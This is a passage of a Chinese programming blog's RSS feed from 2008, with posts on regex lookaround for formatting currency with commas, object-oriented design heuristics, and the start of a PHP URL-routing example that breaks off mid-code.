		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>正则表达式入门之顺序环视（lookahead）</title>
		<link>http://fendou.org/2008/11/09/regular_expressions_lookahead/</link>
		<comments>http://fendou.org/2008/11/09/regular_expressions_lookahead/#comments</comments>
		<pubDate>Sun, 09 Nov 2008 06:53:26 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://osxin.com/?p=200</guid>
		<description><![CDATA[在 以前的编码过程中，总是遇到货币数值的问题，比如￥10000000，根据习惯，￥10,000,000更容易阅读，我从前的做法很复杂，要先计算字符串的位数，然后根据位数再决定将第一个逗号放在第一位数字后面还是第二、第三位，后面的数字每个三位加上一个逗号，最后一位不加逗号，设计如此复杂的算法的原因是我没办法，像手动添加逗号一样，自右向左添加每三个数字添加一个逗号，当然也可能是我愚钝，高人会有更好的解决方法。如果您刚好知道一个更好的算法，请告诉，我会感谢您的。 正则表达有个叫lookahead的东西，我也不知道为什么翻译成顺序环视，姑且就这么叫吧，知道是这么回事就行了。顺序环视是自左至右查看文本，尝试匹配子表达式，如果能够匹配，就返回匹配成功信息。顺序环视又分为肯定型顺序环视和逆序环视，解决上面问题，当然是用到逆序环视了。 肯定型顺序环视用的特殊序列是：?=……来表示，省略号表示需要匹配的内容，匹配的顺序是习惯性匹配即自左向右，例如：?=\d，它表示如果位置右边的字符是数字则匹配成功，另一种环视的特殊序列是：?&#60;=……来表示，例如：?&#60;=\d，它表示如果当前位置的左边有一位是数字则匹配成功. 现在来解决本文开始部分提出的数字问题，代码段如下： /(?&#60;=\d)(?=(\d{3})+\b)/,/g 对代码段解释如下： (?&#60;=\d)是要限定匹配的位置，保证数字字符串刚好是3的倍数的时候不会出现  ,200,000  这种情况，即逗号的左边是必须有数字的 (?=(\d{3})+\b)是查询每个三个数字的位置，有意思的是段不匹配任何文本，而只是匹配一个位置，所以如果你试图输出每个匹配，那么显示的结果将是NULL g表示全局替换，跟i表示忽略大小写一样的用法 顺序环视还有其他的内容，我们这里只用到肯定逆序环视和肯定顺序环视，还有否定逆序环视和否定顺序环视，读者可以举一反三，从名称上揣测他们的用法，顺带着找一些资料阅读下便可，这里不再赘述<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F09%2Fregular_expressions_lookahead%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP实现URL路由</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F12%2F05%2Fvisibility-in-php%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F09%2Fregular_expressions_lookahead%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Visibility in PHP</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F09%2Fregular_expressions_lookahead%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">程序语言评估标准</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F02%2F%25E7%25AE%2580%25E5%258D%2595%25E6%2598%2593%25E5%25AD%25A6%25E7%259A%2584php%25E5%2585%25A5%25E9%2597%25A8%25E6%2595%2599%25E7%25A8%258B%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F09%2Fregular_expressions_lookahead%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">简单易学的PHP入门教程</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F09%2Fregular_expressions_lookahead%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>在 以前的编码过程中，总是遇到货币数值的问题，比如￥10000000，根据习惯，￥10,000,000更容易阅读，我从前的做法很复杂，要先计算字符串的位数，然后根据位数再决定将第一个逗号放在第一位数字后面还是第二、第三位，后面的数字每个三位加上一个逗号，最后一位不加逗号，设计如此复杂的算法的原因是我没办法，像手动添加逗号一样，自右向左添加每三个数字添加一个逗号，当然也可能是我愚钝，高人会有更好的解决方法。如果您刚好知道一个更好的算法，请告诉，我会感谢您的。</p>
<p>正则表达有个叫lookahead的东西，我也不知道为什么翻译成顺序环视，姑且就这么叫吧，知道是这么回事就行了。顺序环视是自左至右查看文本，尝试匹配子表达式，如果能够匹配，就返回匹配成功信息。顺序环视又分为肯定型顺序环视和逆序环视，解决上面问题，当然是用到逆序环视了。</p>
<p>肯定型顺序环视用的特殊序列是：?=……来表示，省略号表示需要匹配的内容，匹配的顺序是习惯性匹配即自左向右，例如：?=\d，它表示如果位置右边的字符是数字则匹配成功，另一种环视的特殊序列是：?&lt;=……来表示，例如：?&lt;=\d，它表示如果当前位置的左边有一位是数字则匹配成功.</p>
<p>现在来解决本文开始部分提出的数字问题，代码段如下：</p>
<blockquote><p>/(?&lt;=\d)(?=(\d{3})+\b)/,/g</p></blockquote>
<p>对代码段解释如下：</p>
<p>(?&lt;=\d)是要限定匹配的位置，保证数字字符串刚好是3的倍数的时候不会出现  ,200,000  这种情况，即逗号的左边是必须有数字的</p>
<p>(?=(\d{3})+\b)是查询每个三个数字的位置，有意思的是段不匹配任何文本，而只是匹配一个位置，所以如果你试图输出每个匹配，那么显示的结果将是NULL</p>
<p>g表示全局替换，跟i表示忽略大小写一样的用法</p>
<p>顺序环视还有其他的内容，我们这里只用到肯定逆序环视和肯定顺序环视，还有否定逆序环视和否定顺序环视，读者可以举一反三，从名称上揣测他们的用法，顺带着找一些资料阅读下便可，这里不再赘述</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F09%2Fregular_expressions_lookahead%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP实现URL路由</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F12%2F05%2Fvisibility-in-php%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F09%2Fregular_expressions_lookahead%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Visibility in PHP</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F09%2Fregular_expressions_lookahead%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">程序语言评估标准</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F02%2F%25E7%25AE%2580%25E5%258D%2595%25E6%2598%2593%25E5%25AD%25A6%25E7%259A%2584php%25E5%2585%25A5%25E9%2597%25A8%25E6%2595%2599%25E7%25A8%258B%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F09%2Fregular_expressions_lookahead%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">简单易学的PHP入门教程</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F09%2Fregular_expressions_lookahead%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2008/11/09/regular_expressions_lookahead/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>面向对象设计的启发规则</title>
		<link>http://fendou.org/2008/11/01/oop/</link>
		<comments>http://fendou.org/2008/11/01/oop/#comments</comments>
		<pubDate>Sat, 01 Nov 2008 07:15:11 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[回忆]]></category>

		<guid isPermaLink="false">http://osxin.com/?p=192</guid>
		<description><![CDATA[1、设计结果应该清晰易懂 1）用词一致 2）使用已有的协议 3）减少消息模式数量 4）避免使用模糊定义 2、一般&#8211;具体结构的深度适当 3、设计简单的类 1）避免含有过多属性 2）有明确的定义 3）尽量简化对象之间的合作关系 4）不要提供太多的操作 4、使用简单协议 一般来说使用协议数目不要超过三个 5、使用简单操作 面向对象设计出来的操作通常很小，一般只有3-5行代码，可以用一个动词和一个宾语来描述它的功能。 6、把设计变动减至最小<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="程序语言评估标准" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2012/01/20/14185012.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">程序语言评估标准</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="学习一下ASP" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F12%2F21%2Fstudy_asp%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">学习一下ASP</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Top 10 Concepts That Every Software Engineer Should Know" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F09%2F02%2Ftop-10-concepts-that-every-software-engineer-should-know%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2012/01/20/14185352.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Top 10 Concepts That Every Software Engineer Should Know</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="wordpress的nginx rewrite规则" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">wordpress的nginx rewrite规则</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="类设计" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F04%2F18%2Fclass-design%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">类设计</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>1、设计结果应该清晰易懂<br />
   1）用词一致<br />
   2）使用已有的协议<br />
   3）减少消息模式数量<br />
  4）避免使用模糊定义<br />
2、一般&#8211;具体结构的深度适当<br />
3、设计简单的类<br />
   1）避免含有过多属性<br />
   2）有明确的定义<br />
   3）尽量简化对象之间的合作关系<br />
   4）不要提供太多的操作<br />
4、使用简单协议<br />
   一般来说使用协议数目不要超过三个<br />
5、使用简单操作<br />
 面向对象设计出来的操作通常很小，一般只有3-5行代码，可以用一个动词和一个宾语来描述它的功能。<br />
6、把设计变动减至最小</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="程序语言评估标准" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2012/01/20/14185012.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">程序语言评估标准</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="学习一下ASP" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F12%2F21%2Fstudy_asp%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">学习一下ASP</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Top 10 Concepts That Every Software Engineer Should Know" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F09%2F02%2Ftop-10-concepts-that-every-software-engineer-should-know%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2012/01/20/14185352.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Top 10 Concepts That Every Software Engineer Should Know</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="wordpress的nginx rewrite规则" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">wordpress的nginx rewrite规则</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="类设计" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F04%2F18%2Fclass-design%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">类设计</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2008/11/01/oop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP实现URL路由</title>
		<link>http://fendou.org/2008/10/18/url_router/</link>
		<comments>http://fendou.org/2008/10/18/url_router/#comments</comments>
		<pubDate>Sat, 18 Oct 2008 07:19:08 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://osxin.com/?p=182</guid>
		<description><![CDATA[本例可以实现 1.符合规则定义的伪静态访问路径解析 对于”test.php/user/lists/normal/id/2.html” 可解析为 control = user，action = lists，filter = normal，order = id，curPage = 3 对于”test.php/users/lists.html” 可解析为 control = user，action = lists，filter = all，order = ”，curPage = 1 可取得规则定义中的默认值 2.不符合规则定义的伪静态路径解析 action,control 不符合规则 对于”test.php/users/lists/all/id1/1.html” 报错 试图访问不存在的页面 不符合匹配模式 对于”test.php/user/lists/all/id1/1.html” 可解析为 control = user，action = lists，filter = all，order = ”，curPage = 1 可取得不符合匹配模式项目的默认值 &#60;?php &#160; // url 路由规则定义...  <a href="http://fendou.org/2008/10/18/url_router/" class="more-link" title="Read PHP实现URL路由">Read more &#187;</a><table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F08%2Fphp%25E8%25A7%25A3%25E6%259E%2590xml%25E6%2596%2587%25E6%25A1%25A3%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP解析XML文档</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp2%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">对PHP记事本程序（二）的修订</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F12%2Fphp%25E4%25B8%258A%25E4%25BC%25A0%25E3%2580%2581%25E7%25AE%25A1%25E7%2590%2586%25E7%2585%25A7%25E7%2589%2587%25E7%25A4%25BA%25E4%25BE%258B%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php上传、管理照片示例</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F21%2F%25E6%2580%258E%25E6%25A0%25B7%25E7%2594%25A8php%25E6%259D%25A5%25E7%25BB%2599%25E7%25BD%2591%25E9%25A1%25B5%25E5%2581%259A%25E5%25AF%25BC%25E8%2588%25AA%25E6%25A0%258F%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">怎样用PHP来给网页做导航栏</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP记事本程序（三）----持续改进</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>本例可以实现<br />
1.符合规则定义的伪静态访问路径解析<br />
对于”test.php/user/lists/normal/id/2.html” 可解析为<br />
control = user，action = lists，filter = normal，order = id，curPage = 3<br />
对于”test.php/users/lists.html” 可解析为<br />
control = user，action = lists，filter = all，order = ”，curPage = 1 可取得规则定义中的默认值</p>
<p>2.不符合规则定义的伪静态路径解析<br />
action,control 不符合规则<br />
对于”test.php/users/lists/all/id1/1.html” 报错<br />
试图访问不存在的页面<br />
不符合匹配模式<br />
对于”test.php/user/lists/all/id1/1.html” 可解析为<br />
control = user，action = lists，filter = all，order = ”，curPage = 1<br />
可取得不符合匹配模式项目的默认值</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// url 路由规则定义</span>
<span style="color: #000088;">$urlRule</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
    <span style="color: #0000ff;">'user'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>        <span style="color: #666666; font-style: italic;">// control</span>
        <span style="color: #0000ff;">'lists'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>    <span style="color: #666666; font-style: italic;">// action</span>
            <span style="color: #666666; font-style: italic;">//'名称'        =&gt;    '默认值,值模式匹配'</span>
            <span style="color: #0000ff;">'filter'</span>    <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'all,^(all|normal|admin)$'</span><span style="color: #339933;">,</span>
